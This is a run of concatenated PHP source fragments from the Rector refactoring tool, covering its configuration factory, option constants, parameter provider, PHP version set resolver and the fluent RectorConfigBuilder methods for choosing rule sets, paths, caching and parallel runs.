($projectPhpDirectories === []) { $projectPhpDirectories[] = 'src'; } $projectPhpDirectoriesContents = ''; foreach ($projectPhpDirectories as $projectPhpDirectory) { $projectPhpDirectoriesContents .= " __DIR__ . '/" . $projectPhpDirectory . "'," . \PHP_EOL; } $projectPhpDirectoriesContents = \rtrim($projectPhpDirectoriesContents); return \str_replace('__PATHS__', $projectPhpDirectoriesContents, $rectorPhpTemplateContents); } } symfonyStyle = $symfonyStyle; } /** * @api used in tests * @param string[] $paths */ public function createForTests(array $paths) : Configuration { $fileExtensions = SimpleParameterProvider::provideArrayParameter(\Rector\Configuration\Option::FILE_EXTENSIONS); return new Configuration(\false, \true, \false, ConsoleOutputFormatter::NAME, $fileExtensions, $paths, \true, null, null, \false, null, \false, \false); } /** * Needs to run in the start of the life cycle, since the rest of workflow uses it. */ public function createFromInput(InputInterface $input) : Configuration { $isDryRun = (bool) $input->getOption(\Rector\Configuration\Option::DRY_RUN); $shouldClearCache = (bool) $input->getOption(\Rector\Configuration\Option::CLEAR_CACHE); $outputFormat = (string) $input->getOption(\Rector\Configuration\Option::OUTPUT_FORMAT); $showProgressBar = $this->shouldShowProgressBar($input, $outputFormat); $showDiffs = $this->shouldShowDiffs($input); $paths = $this->resolvePaths($input); $fileExtensions = SimpleParameterProvider::provideArrayParameter(\Rector\Configuration\Option::FILE_EXTENSIONS); $isParallel = SimpleParameterProvider::provideBoolParameter(\Rector\Configuration\Option::PARALLEL); $parallelPort = (string) $input->getOption(\Rector\Configuration\Option::PARALLEL_PORT); $parallelIdentifier = (string) $input->getOption(\Rector\Configuration\Option::PARALLEL_IDENTIFIER); $isDebug = (bool) $input->getOption(\Rector\Configuration\Option::DEBUG); // using debug disables parallel, so emitting exception is straightforward and easier to debug if ($isDebug) { $isParallel = \false; } $memoryLimit = $this->resolveMemoryLimit($input); $isReportingWithRealPath = SimpleParameterProvider::provideBoolParameter(\Rector\Configuration\Option::ABSOLUTE_FILE_PATH); return new Configuration($isDryRun, $showProgressBar, $shouldClearCache, $outputFormat, $fileExtensions, $paths, $showDiffs, $parallelPort, $parallelIdentifier, $isParallel, $memoryLimit, $isDebug, $isReportingWithRealPath); } private function shouldShowProgressBar(InputInterface $input, string $outputFormat) : bool { $noProgressBar = (bool) $input->getOption(\Rector\Configuration\Option::NO_PROGRESS_BAR); if ($noProgressBar) { return \false; } if ($this->symfonyStyle->isVerbose()) { return \false; } return $outputFormat === ConsoleOutputFormatter::NAME; } private function shouldShowDiffs(InputInterface $input) : bool { $noDiffs = (bool) $input->getOption(\Rector\Configuration\Option::NO_DIFFS); if ($noDiffs) { return \false; } // fallback to parameter return !SimpleParameterProvider::provideBoolParameter(\Rector\Configuration\Option::NO_DIFFS, \false); } /** * @return string[]|mixed[] */ private function resolvePaths(InputInterface $input) : array { $commandLinePaths = (array) $input->getArgument(\Rector\Configuration\Option::SOURCE); // give priority to command line if ($commandLinePaths !== []) { return $commandLinePaths; } // fallback to parameter return SimpleParameterProvider::provideArrayParameter(\Rector\Configuration\Option::PATHS); } private function resolveMemoryLimit(InputInterface $input) : ?string { $memoryLimit = $input->getOption(\Rector\Configuration\Option::MEMORY_LIMIT); if ($memoryLimit !== null) { return (string) $memoryLimit; } if (!SimpleParameterProvider::hasParameter(\Rector\Configuration\Option::MEMORY_LIMIT)) { return null; } return SimpleParameterProvider::provideStringParameter(\Rector\Configuration\Option::MEMORY_LIMIT); } } > $availableRules * @return array> */ public static function resolve(int $level, array $availableRules, string $methodName) : array { // level < 0 is not allowed Assert::natural($level, \sprintf('Level must be >= 0 on %s', $methodName)); Assert::allIsAOf($availableRules, RectorInterface::class); $rulesCount = \count($availableRules); if ($availableRules === []) { throw new ShouldNotHappenException(\sprintf('There are no available rules in "%s()", define the available rules first', $methodName)); } // start with 0 $maxLevel = $rulesCount - 1; if ($level > $maxLevel) { $level = $maxLevel; } $levelRules = []; for ($i = 0; $i <= $level; ++$i) { $levelRules[] = $availableRules[$i]; } return $levelRules; } } * @internal */ public const CACHE_CLASS = FileCacheStorage::class; /** * @var string */ public const DEBUG = 'debug'; /** * @var string */ public const XDEBUG = 'xdebug'; /** * @var string */ public const CONFIG = 'config'; /** * @internal Use @see \Rector\Config\RectorConfig::phpstanConfig() instead * @var string */ public const PHPSTAN_FOR_RECTOR_PATHS = 'phpstan_for_rector_paths'; /** * @var string */ public const NO_DIFFS = 'no-diffs'; /** * @var string */ public const AUTOLOAD_FILE_SHORT = 'a'; /** * @var string */ public const PARALLEL_IDENTIFIER = 'identifier'; /** * @var string */ public const PARALLEL_PORT = 'port'; /** * @internal Use @see \Rector\Config\RectorConfig::parallel() instead with pass int $jobSize parameter * @var string */ public const PARALLEL_JOB_SIZE = 'parallel-job-size'; /** * @internal Use @see \Rector\Config\RectorConfig::parallel() instead with pass int $maxNumberOfProcess parameter * @var string */ public const PARALLEL_MAX_NUMBER_OF_PROCESSES = 'parallel-max-number-of-processes'; /** * @internal Use @see \Rector\Config\RectorConfig::parallel() instead with pass int $seconds parameter * @var string */ public const PARALLEL_JOB_TIMEOUT_IN_SECONDS = 'parallel-job-timeout-in-seconds'; /** * @var string */ public const MEMORY_LIMIT = 'memory-limit'; /** * @internal Use @see \Rector\Config\RectorConfig::indent() method * @var string */ public const INDENT_CHAR = 'indent-char'; /** * @internal Use @see \Rector\Config\RectorConfig::indent() method * @var string */ public const INDENT_SIZE = 'indent-size'; /** * @internal Use @see \Rector\Config\RectorConfig::removeUnusedImports() method * @var string */ public const REMOVE_UNUSED_IMPORTS = 'remove-unused-imports'; /** * @internal Use @see \Rector\Config\RectorConfig::containerCacheDirectory() method * @var string */ public const CONTAINER_CACHE_DIRECTORY = 'container-cache-directory'; /** * @internal For cache invalidation in case of change * @var string */ public const REGISTERED_RECTOR_RULES = 'registered_rector_rules'; /** * @internal For cache invalidation in case of change * @var string */ public const REGISTERED_RECTOR_SETS = 'registered_rector_sets'; /** * @internal For verify skipped rules exists in registered rules * @var string */ public const SKIPPED_RECTOR_RULES = 'skipped_rector_rules'; /** * @internal For collect skipped start with short open tag files to be reported * @var string */ public const SKIPPED_START_WITH_SHORT_OPEN_TAG_FILES = 'skipped_start_with_short_open_tag_files'; /** * @internal For reporting with absolute paths instead of relative paths (default behaviour) * @see \Rector\Config\RectorConfig::reportingRealPath() * @var string */ public const ABSOLUTE_FILE_PATH = 'absolute_file_path'; /** * @internal To add editor links to console output * @see \Rector\Config\RectorConfig::editorUrl() * @var string */ public const EDITOR_URL = 'editor_url'; } */ private static $parameters = []; /** * @param Option::* $name * @param mixed $value */ public static function addParameter(string $name, $value) : void { if (\is_array($value)) { $mergedParameters = \array_merge(self::$parameters[$name] ?? [], $value); self::$parameters[$name] = $mergedParameters; } else { self::$parameters[$name][] = $value; } } /** * @param Option::* $name * @param mixed $value */ public static function setParameter(string $name, $value) : void { self::$parameters[$name] = $value; } /** * @param Option::* $name * @return mixed[] */ public static function provideArrayParameter(string $name) : array { $parameter = self::$parameters[$name] ?? []; Assert::isArray($parameter); $arrayIsListFunction = function (array $array) : bool { if (\function_exists('array_is_list')) { return \array_is_list($array); } if ($array === []) { return \true; } $current_key = 0; foreach ($array as $key => $noop) { if ($key !== $current_key) { return \false; } ++$current_key; } return \true; }; if ($arrayIsListFunction($parameter)) { // remove duplicates $uniqueParameters = \array_unique($parameter); return \array_values($uniqueParameters); } return $parameter; } /** * @param Option::* $name */ public static function hasParameter(string $name) : bool { return \array_key_exists($name, self::$parameters); } /** * @param Option::* $name */ public static function provideStringParameter(string $name, ?string $default = null) : string { if ($default === null) { self::ensureParameterIsSet($name); } return self::$parameters[$name] ?? $default; } public static function provideIntParameter(string $key) : int { return self::$parameters[$key]; } /** * @param Option::* $name */ public static function provideBoolParameter(string $name, ?bool $default = null) : bool { if ($default === null) { self::ensureParameterIsSet($name); } return self::$parameters[$name] ?? $default; } /** * @api * For cache invalidation */ public static function hash() : string { $parameterKeys = self::$parameters; return \sha1(\serialize($parameterKeys)); } /** * @param Option::* $name */ private static function ensureParameterIsSet(string $name) : void { if (\array_key_exists($name, self::$parameters)) { return; } throw new ShouldNotHappenException(\sprintf('Parameter "%s" was not found', $name)); } } */ private const VERSION_LOWER_BOUND_CONFIGS = [PhpVersion::PHP_52 => SetList::PHP_52, PhpVersion::PHP_53 => SetList::PHP_53, PhpVersion::PHP_54 => SetList::PHP_54, PhpVersion::PHP_55 => SetList::PHP_55, PhpVersion::PHP_56 => SetList::PHP_56, PhpVersion::PHP_70 => SetList::PHP_70, PhpVersion::PHP_71 => SetList::PHP_71, PhpVersion::PHP_72 => SetList::PHP_72, PhpVersion::PHP_73 => SetList::PHP_73, PhpVersion::PHP_74 => SetList::PHP_74, PhpVersion::PHP_80 => SetList::PHP_80, PhpVersion::PHP_81 => SetList::PHP_81, PhpVersion::PHP_82 => SetList::PHP_82, PhpVersion::PHP_83 => SetList::PHP_83, PhpVersion::PHP_84 => SetList::PHP_84]; /** * @param PhpVersion::* $phpVersion * @return string[] */ public static function resolveFromPhpVersion(int $phpVersion) : array { $configFilePaths = []; foreach (self::VERSION_LOWER_BOUND_CONFIGS as $versionLowerBound => $phpSetFilePath) { if ($versionLowerBound <= $phpVersion) { $configFilePaths[] = $phpSetFilePath; } } Assert::allFileExists($configFilePaths); return $configFilePaths; } } */ private $skip = []; /** * @var array> */ private $rules = []; /** * @var array, mixed[]> */ private $rulesWithConfigurations = []; /** * @var string[] */ private $fileExtensions = []; /** * @var null|class-string */ private $cacheClass; /** * @var string|null */ private $cacheDirectory; /** * @var string|null */ private $containerCacheDirectory; /** * @var bool|null */ private $parallel; /** * @var int */ private $parallelTimeoutSeconds = 120; /** * @var int */ private $parallelMaxNumberOfProcess = 16; /** * @var int */ private $parallelJobSize = 16; /** * @var bool */ private $importNames = \false; /** * @var bool */ private $importDocBlockNames = \false; /** * @var bool */ private $importShortClasses = \true; /** * @var bool */ private $removeUnusedImports = \false; /** * @var bool */ private $noDiffs = \false; /** * @var string|null */ private $memoryLimit; /** * @var string[] */ private $autoloadPaths = []; /** * @var string[] */ private $bootstrapFiles = []; /** * @var string */ private $indentChar = ' '; /** * @var int */ private $indentSize = 4; /** * @var string[] */ private $phpstanConfigs = []; /** * @var null|PhpVersion::* */ private $phpVersion; /** * @var string|null */ private $symfonyContainerXmlFile; /** * @var string|null */ private $symfonyContainerPhpFile; /** * To make sure type declarations set and level are not duplicated, * as both contain same rules * @var bool|null */ private $isTypeCoverageLevelUsed; /** * @var bool|null */ private $isDeadCodeLevelUsed; /** * @var bool|null */ private $isCodeQualityLevelUsed; /** * @var bool|null */ private $isFluentNewLine; /** * @var RegisteredService[] */ private $registerServices = []; /** * @var array */ private $setGroups = []; /** * @var bool|null */ private $reportingRealPath; /** * @var string[] */ private $groupLoadedSets = []; /** * @var string|null */ private $editorUrl; /** * @api soon to be used * @var bool|null */ private $isWithPhpSetsUsed; /** * @var bool|null */ private $isWithPhpLevelUsed; public function __invoke(RectorConfig $rectorConfig) : void { // @experimental 2024-06 if ($this->setGroups !== []) { $setProviderCollector = $rectorConfig->make(SetProviderCollector::class); $setManager = new SetManager($setProviderCollector); $this->groupLoadedSets = $setManager->matchBySetGroups($this->setGroups); } // merge sets together $this->sets = \array_merge($this->sets, $this->groupLoadedSets); $uniqueSets = \array_unique($this->sets); if ($this->isWithPhpLevelUsed && $this->isWithPhpSetsUsed) { throw new InvalidConfigurationException(\sprintf('Your config uses "withPhp*()" and "withPhpLevel()" methods at the same time.%sPick one of them to avoid rule conflicts.', \PHP_EOL)); } if (\in_array(SetList::TYPE_DECLARATION, $uniqueSets, \true) && $this->isTypeCoverageLevelUsed === \true) { throw new InvalidConfigurationException(\sprintf('Your config already enables type declarations set.%sRemove "->withTypeCoverageLevel()" as it only duplicates it, or remove type declaration set.', \PHP_EOL)); } if (\in_array(SetList::DEAD_CODE, $uniqueSets, \true) && $this->isDeadCodeLevelUsed === \true) { throw new InvalidConfigurationException(\sprintf('Your config already enables dead code set.%sRemove "->withDeadCodeLevel()" as it only duplicates it, or remove dead code set.', \PHP_EOL)); } if (\in_array(SetList::CODE_QUALITY, $uniqueSets, \true) && $this->isCodeQualityLevelUsed === \true) { throw new InvalidConfigurationException(\sprintf('Your config already enables code quality set.%sRemove "->withCodeQualityLevel()" as it only duplicates it, or remove code quality set.', \PHP_EOL)); } if ($uniqueSets !== []) { $rectorConfig->sets($uniqueSets); } if ($this->paths !== []) { $rectorConfig->paths($this->paths); } // must be in upper part, as these services might be used by rule registered bellow foreach ($this->registerServices as $registerService) { $rectorConfig->singleton($registerService->getClassName()); if ($registerService->getAlias()) { $rectorConfig->alias($registerService->getClassName(), $registerService->getAlias()); } if ($registerService->getTag()) { $rectorConfig->tag($registerService->getClassName(), $registerService->getTag()); } } if ($this->skip !== []) { $rectorConfig->skip($this->skip); } if ($this->rules !== []) { $rectorConfig->rules($this->rules); } foreach ($this->rulesWithConfigurations as $rectorClass => $configurations) { foreach ($configurations as $configuration) { $rectorConfig->ruleWithConfiguration($rectorClass, $configuration); } } if ($this->fileExtensions !== []) { $rectorConfig->fileExtensions($this->fileExtensions); } if ($this->cacheClass !== null) { $rectorConfig->cacheClass($this->cacheClass); } if ($this->cacheDirectory !== null) { $rectorConfig->cacheDirectory($this->cacheDirectory); } if ($this->containerCacheDirectory !== null) { $rectorConfig->containerCacheDirectory($this->containerCacheDirectory); } if ($this->importNames || $this->importDocBlockNames) { $rectorConfig->importNames($this->importNames, $this->importDocBlockNames); $rectorConfig->importShortClasses($this->importShortClasses); } if ($this->removeUnusedImports) { $rectorConfig->removeUnusedImports($this->removeUnusedImports); } if ($this->noDiffs) { $rectorConfig->noDiffs(); } if ($this->memoryLimit !== null) { $rectorConfig->memoryLimit($this->memoryLimit); } if ($this->autoloadPaths !== []) { $rectorConfig->autoloadPaths($this->autoloadPaths); } if ($this->bootstrapFiles !== []) { $rectorConfig->bootstrapFiles($this->bootstrapFiles); } if ($this->indentChar !== ' ' || $this->indentSize !== 4) { $rectorConfig->indent($this->indentChar, $this->indentSize); } if ($this->phpstanConfigs !== []) { $rectorConfig->phpstanConfigs($this->phpstanConfigs); } if ($this->phpVersion !== null) { $rectorConfig->phpVersion($this->phpVersion); } if ($this->parallel !== null) { if ($this->parallel) { $rectorConfig->parallel($this->parallelTimeoutSeconds, $this->parallelMaxNumberOfProcess, $this->parallelJobSize); } else { $rectorConfig->disableParallel(); } } if ($this->symfonyContainerXmlFile !== null) { $rectorConfig->symfonyContainerXml($this->symfonyContainerXmlFile); } if ($this->symfonyContainerPhpFile !== null) { $rectorConfig->symfonyContainerPhp($this->symfonyContainerPhpFile); } if ($this->isFluentNewLine !== null) { $rectorConfig->newLineOnFluentCall($this->isFluentNewLine); } if ($this->reportingRealPath !== null) { $rectorConfig->reportingRealPath($this->reportingRealPath); } if ($this->editorUrl !== null) { $rectorConfig->editorUrl($this->editorUrl); } } /** * @param string[] $paths */ public function withPaths(array $paths) : self { $this->paths = $paths; return $this; } /** * @param array $skip */ public function withSkip(array $skip) : self { $this->skip = \array_merge($this->skip, $skip); return $this; } public function withSkipPath(string $skipPath) : self { if (\strpos($skipPath, '*') === \false) { Assert::fileExists($skipPath); } return $this->withSkip([$skipPath]); } /** * Include PHP files from the root directory, * typically ecs.php, rector.php etc. */ public function withRootFiles() : self { $gitIgnoreContents = []; if (\file_exists(\getcwd() . '/.gitignore')) { $gitIgnoreContents = \array_filter(\iterator_to_array(FileSystem::readLines(\getcwd() . '/.gitignore')), function (string $string) : bool { $string = \trim($string); // new line if ($string === '') { return \false; } // comment if (\strncmp($string, '#', \strlen('#')) === 0) { return \false; } // normalize $string = \ltrim($string, '/\\'); // files in deep directory, no need to be in lists if (\strpos($string, '/') !== \false || \strpos($string, '\\') !== \false) { return \false; } // only files return \is_file($string); }); // make realpath collection $gitIgnoreContents = \array_map(function (string $string) : string { // normalize $string = \ltrim($string, '/\\'); return \realpath($string); }, $gitIgnoreContents); } $rootPhpFilesFinder = (new Finder())->files()->in(\getcwd())->depth(0)->name('*.php'); foreach ($rootPhpFilesFinder as $rootPhpFileFinder) { $path = $rootPhpFileFinder->getRealPath(); if (\in_array($path, $gitIgnoreContents, \true)) { continue; } $this->paths[] = $path; } return $this; } /** * @param string[] $sets */ public function withSets(array $sets) : self { $this->sets = \array_merge($this->sets, $sets); return $this; } /** * Upgrade your annotations to attributes */ public function withAttributesSets(bool $symfony = \false, bool $doctrine = \false, bool $mongoDb = \false, bool $gedmo = \false, bool $phpunit = \false, bool $fosRest = \false, bool $jms = \false, bool $sensiolabs = \false, bool $all = \false) : self { if ($symfony || $all) { $this->sets[] = SymfonySetList::ANNOTATIONS_TO_ATTRIBUTES; } if ($doctrine || $all) { $this->sets[] = DoctrineSetList::ANNOTATIONS_TO_ATTRIBUTES; } if ($mongoDb || $all) { $this->sets[] = DoctrineSetList::MONGODB__ANNOTATIONS_TO_ATTRIBUTES; } if ($gedmo || $all) { $this->sets[] = DoctrineSetList::GEDMO_ANNOTATIONS_TO_ATTRIBUTES; } if ($phpunit || $all) { $this->sets[] = PHPUnitSetList::ANNOTATIONS_TO_ATTRIBUTES; } if ($fosRest || $all) { $this->sets[] = FOSRestSetList::ANNOTATIONS_TO_ATTRIBUTES; } if ($jms || $all) { $this->sets[] = JMSSetList::ANNOTATIONS_TO_ATTRIBUTES; } if ($sensiolabs || $all) { $this->sets[] = SensiolabsSetList::ANNOTATIONS_TO_ATTRIBUTES; } return $this; } /** * make use of polyfill packages in composer.json */ public function withPhpPolyfill() : self { $this->sets[] = SetList::PHP_POLYFILLS; return $this; } /** * What PHP sets should be applied? By default the same version * as composer.json has is used */ public function withPhpSets(bool $php83 = \false, bool $php82 = \false, bool $php81 = \false, bool $php80 = \false, bool $php74 = \false, bool $php73 = \false, bool $php72 = \false, bool $php71 = \false, bool $php70 = \false, bool $php56 = \false, bool $php55 = \false, bool $php54 = \false, bool $php53 = \false, bool $php84 = \false) : self { $this->isWithPhpSetsUsed = \true; $pickedArguments = \array_filter(\func_get_args()); if ($pickedArguments !== []) { Notifier::notifyWithPhpSetsNotSuitableForPHP80(); } if (\count($pickedArguments) > 1) { throw new InvalidConfigurationException(\sprintf('Pick only one version target in "withPhpSets()". All rules up to this version will be used.%sTo use your composer.json PHP version, keep arguments empty.', \PHP_EOL)); } if ($pickedArguments === []) { $projectPhpVersion = ComposerJsonPhpVersionResolver::resolveFromCwdOrFail(); $phpLevelSets = \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion($projectPhpVersion); $this->sets = \array_merge($this->sets, $phpLevelSets); return $this; } if ($php53) { $this->withPhp53Sets(); return $this; } if ($php54) { $this->withPhp54Sets(); return $this; } if ($php55) { $this->withPhp55Sets(); return $this; } if ($php56) { $this->withPhp56Sets(); return $this; } if ($php70) { $this->withPhp70Sets(); return $this; } if ($php71) { $this->withPhp71Sets(); return $this; } if ($php72) { $this->withPhp72Sets(); return $this; } if ($php73) { $this->withPhp73Sets(); return $this; } if ($php74) { $this->withPhp74Sets(); return $this; } if ($php80) { $targetPhpVersion = PhpVersion::PHP_80; } elseif ($php81) { $targetPhpVersion = PhpVersion::PHP_81; } elseif ($php82) { $targetPhpVersion = PhpVersion::PHP_82; } elseif ($php83) { $targetPhpVersion = PhpVersion::PHP_83; } elseif ($php84) { $targetPhpVersion = PhpVersion::PHP_84; } else { throw new InvalidConfigurationException('Invalid PHP version set'); } $phpLevelSets = \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion($targetPhpVersion); $this->sets = \array_merge($this->sets, $phpLevelSets); return $this; } /** * Following methods are suitable for PHP 7.4 and lower, before named args * Let's keep them without warning, in case Rector is run on both PHP 7.4 and PHP 8.0 in CI */ public function withPhp53Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_53)); return $this; } public function withPhp54Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_54)); return $this; } public function withPhp55Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_55)); return $this; } public function withPhp56Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_56)); return $this; } public function withPhp70Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_70)); return $this; } public function withPhp71Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_71)); return $this; } public function withPhp72Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_72)); return $this; } public function withPhp73Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_73)); return $this; } public function withPhp74Sets() : self { $this->isWithPhpSetsUsed = \true; $this->sets = \array_merge($this->sets, \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion(PhpVersion::PHP_74)); return $this; } // there is no withPhp80Sets() and above, // as we already use PHP 8.0 and should go with withPhpSets() instead public function withPreparedSets( bool $deadCode = \false, bool $codeQuality = \false, bool $codingStyle = \false, bool $typeDeclarations = \false, bool $privatization = \false, bool $naming = \false, bool $instanceOf = \false, bool $earlyReturn = \false, bool $strictBooleans = \false, bool $carbon = \false, bool $rectorPreset = \false, bool $phpunitCodeQuality = \false, bool $doctrineCodeQuality = \false, bool $symfonyCodeQuality = \false, bool $symfonyConfigs = \false, // composer based bool $twig = \false, bool $phpunit = \false ) : self { Notifier::notifyNotSuitableMethodForPHP74(__METHOD__); if ($deadCode) { $this->sets[] = SetList::DEAD_CODE; } if ($codeQuality) { $this->sets[] = SetList::CODE_QUALITY; } if ($codingStyle) { $this->sets[] = SetList::CODING_STYLE; } if ($typeDeclarations) { $this->sets[] = SetList::TYPE_DECLARATION; } if ($privatization) { $this->sets[] = SetList::PRIVATIZATION; } if ($naming) { $this->sets[] = SetList::NAMING; } if ($instanceOf) { $this->sets[] = SetList::INSTANCEOF; } if ($earlyReturn) { $this->sets[] = SetList::EARLY_RETURN; } if ($strictBooleans) { $this->sets[] = SetList::STRICT_BOOLEANS; } if ($carbon) { $this->sets[] = SetList::CARBON; } if ($rectorPreset) { $this->sets[] = SetList::RECTOR_PRESET; } if ($phpunitCodeQuality) { $this->sets[] = PHPUnitSetList::PHPUNIT_CODE_QUALITY; } if ($doctrineCodeQuality) { $this->sets[] = DoctrineSetList::DOCTRINE_CODE_QUALITY; } if ($symfonyCodeQuality) { $this->sets[] = SymfonySetList::SYMFONY_CODE_QUALITY; } if ($symfonyConfigs) { $this->sets[] = SymfonySetList::CONFIGS; } // @experimental 2024-06 if ($twig) { $this->setGroups[] = SetGroup::TWIG; } if ($phpunit) { $this->setGroups[] = SetGroup::PHPUNIT; } return $this; } /** * @param array> $rules */ public function withRules(array $rules) : self { $this->rules = \array_merge($this->rules, $rules); return $this; } /** * @param string[] $fileExtensions */ public function withFileExtensions(array $fileExtensions) : self { $this->fileExtensions = $fileExtensions; return $this; } /** * @param class-string|null $cacheClass */ public function withCache(?string $cacheDirectory = null, ?string $cacheClass = null, ?string $containerCacheDirectory = null) : self { $this->cacheDirectory = $cacheDirectory; $this->cacheClass = $cacheClass; $this->containerCacheDirectory = $containerCacheDirectory; return $this; } /** * @param class-string $rectorClass * @param mixed[] $configuration */ public function withConfiguredRule(string $rectorClass, array $configuration) : self { $this->rulesWithConfigurations[$rectorClass][] = $configuration; return $this; } public function withParallel(?int $timeoutSeconds = null, ?int $maxNumberOfProcess = null, ?int $jobSize = null) : self { $this->parallel = \true; if (\is_int($timeoutSeconds)) { $this->parallelTimeoutSeconds = $timeoutSeconds; } if (\is_int($maxNumberOfProcess)) { $this->parallelMaxNumberOfProcess = $maxNumberOfProcess; } if (\is_int($jobSize)) { $this->parallelJobSize = $jobSize; } return $this; } public function withoutParallel() : self { $this->parallel = \false; return $this; } public function withImportNames(bool $importNames = \true, bool $importDocBlockNames = \true, bool $importShortClasses = \true, bool $removeUnusedImports = \false) : self { $this->importNames = $importNames; $this->importDocBlockNames = $importDocBlockNames; $this->importShortClasses = $importShortClasses; $this->removeUnusedImports = $removeUnusedImports; return $this; } public function withNoDiffs() : self { $this->noDiffs = \true; return $this; } public function withMemoryLimit(string $memoryLimit) : self { $this->memoryLimit = $memoryLimit; return $this; } public function withIndent(string $indentChar = ' ', int $indentSize = 4) : self { $this->indentChar = $indentChar; $this->indentSize = $indentSize; return $this; } /** * @param string[] $autoloadPaths */ public function withAutoloadPaths(array $autoloadPaths) : self { $this->autoloadPaths = $autoloadPaths; return $this; } /** * @param string[] $bootstrapFiles */ public function withBootstrapFiles(array $bootstrapFiles) : self { $this->bootstrapFiles = $bootstrapFiles; return $this; } /** * @param string[] $phpstanConfigs */ public function withPHPStanConfigs(array $phpstanConfigs) : self { $this->phpstanConfigs = $phpstanConfigs; return $this; } /** * @param PhpVersion::* $phpVersion */ public function withPhpVersion(int $phpVersion) : self { $this->phpVersion = $phpVersion; return $this; } public function withSymfonyContainerXml(string $symfonyContainerXmlFile) : self { $this->symfonyContainerXmlFile = $symfonyContainerXmlFile; return $this; } public function withSymfonyContainerPhp(string $symfonyContainerPhpFile) : self { $this->symfonyContainerPhpFile = $symfonyContainerPhpFile; return $this; } /** * @experimental since 0.19.7 Raise your dead-code coverage from the safest rules * to more affecting ones, one level at a time */ public function withDeadCodeLevel(int $level) : self { Assert::natural($level); $this->isDeadCodeLevelUsed = \true; $levelRules = LevelRulesResolver::resolve($level, DeadCodeLevel::RULES, __METHOD__); $this->rules = \array_merge($this->rules, $levelRules); return $this; } /** * @experimental since 0.19.7 Raise your type coverage from the safest type rules * to more affecting ones, one level at a time */ public function withTypeCoverageLevel(int $level) : self { Assert::natural($level); $this->isTypeCoverageLevelUsed = \true; $levelRules = LevelRulesResolver::resolve($level, TypeDeclarationLevel::RULES, __METHOD__); $this->rules = \array_merge($this->rules, $levelRules); return $this; } /** * @experimental Since 1.2.5 Raise your PHP level from, one level at a time */ public function withPhpLevel(int $level) : self { Assert::natural($level); $this->isWithPhpLevelUsed = \true; $phpVersion = ComposerJsonPhpVersionResolver::resolveFromCwdOrFail(); $setRectorsResolver = new SetRectorsResolver(); $setFilePaths = \Rector\Configuration\PhpLevelSetResolver::resolveFromPhpVersion($phpVersion); $rectorRulesWithConfiguration = $setRectorsResolver->resolveFromFilePathsIncludingConfiguration($setFilePaths); foreach ($rectorRulesWithConfiguration as $position => $rectorRuleWithConfiguration) { // add rules untill level is reached if ($position > $level) { continue; } if (\is_string($rectorRuleWithConfiguration)) { $this->rules[] = $rectorRuleWithConfiguration; } elseif (\is_array($rectorRuleWithConfiguration)) { foreach ($rectorRuleWithConfiguration as $rectorRule => $rectorRuleConfiguration) { /** @var class-string $rectorRule */ $this->withConfiguredRule($rectorRule, $rectorRuleConfiguration); } } } return $this; } /** * @experimental Raise your code quality from the safest rules * to more affecting ones, one level at a time */ public function withCodeQualityLevel(int $level) : self { Assert::natural($level); $this->isCodeQualityLevelUsed = \true; $levelRules = LevelRulesResolver::resolve($level, CodeQualityLevel::RULES, __METHOD__); $this->rules = \array_merge($this->rules, $levelRules); foreach (CodeQualityLevel::RULES_WITH_CONFIGURATION as $rectorClass => $configuration) { $this->rulesWithConfigurations[$rectorClass][] = $configuration; } return $this; } public function withFluentCallNewLine(bool $isFluentNewLine = \true) : self { $this->isFluentNewLine = $isFluentNewLine; return $this; } public function registerService(string $className, ?string $alias = null, ?string $tag = null) : self { $this->registerServices[] = new RegisteredService($className, $alias, $tag); return $this; } public function withDowngradeSets(bool $php82 = \false, bool $php81 = \false, bool $php80 = \false, bool $php74 = \false, bool $php73 = \false, bool $php72 = \false, bool $php71 = \false) : self { $pickedArguments = \array_filter(\func_get_args()); if (\count($pickedArguments) !== 1) { throw new InvalidConfigurationException('Pick only one PHP version target in "withDowngradeSets()". All rules down to this version will be used.'); } if ($php82) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_82; } if ($php81) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_81; } if ($php80) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_80; } if ($php74) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_74; } if ($php73) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_73; } if ($php72) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_72; } if ($php71) { $this->sets[] = DowngradeLevelSetList::DOWN_TO_PHP_71; } return $this; } public function withRealPathReporting(bool $absolutePath = \true) : self { $this->reportingRealPath = $absolutePath; return $this; } public function withEditorUrl(string $editorUrl) : self { $this->editorUrl = $editorUrl; return $this; } } */ private $oldToNewClasses = []; public function reset() : void { $this->oldToNewClasses = []; } /** * keep public modifier and use internally on matchClassName() method * to keep API as on Configuration level */ public function hasOldClass(string $oldClass) : bool { return isset($this->oldToNewClasses[$oldClass]); } /** * @param array $oldToNewClasses */ public function addOldToNewClasses(array $oldToNewClasses) : void { /** @var array $oldToNewClasses */ $oldToNewClasses = \array_merge($this->oldToNewClasses, $oldToNewClasses); $this->oldToNewClasses = 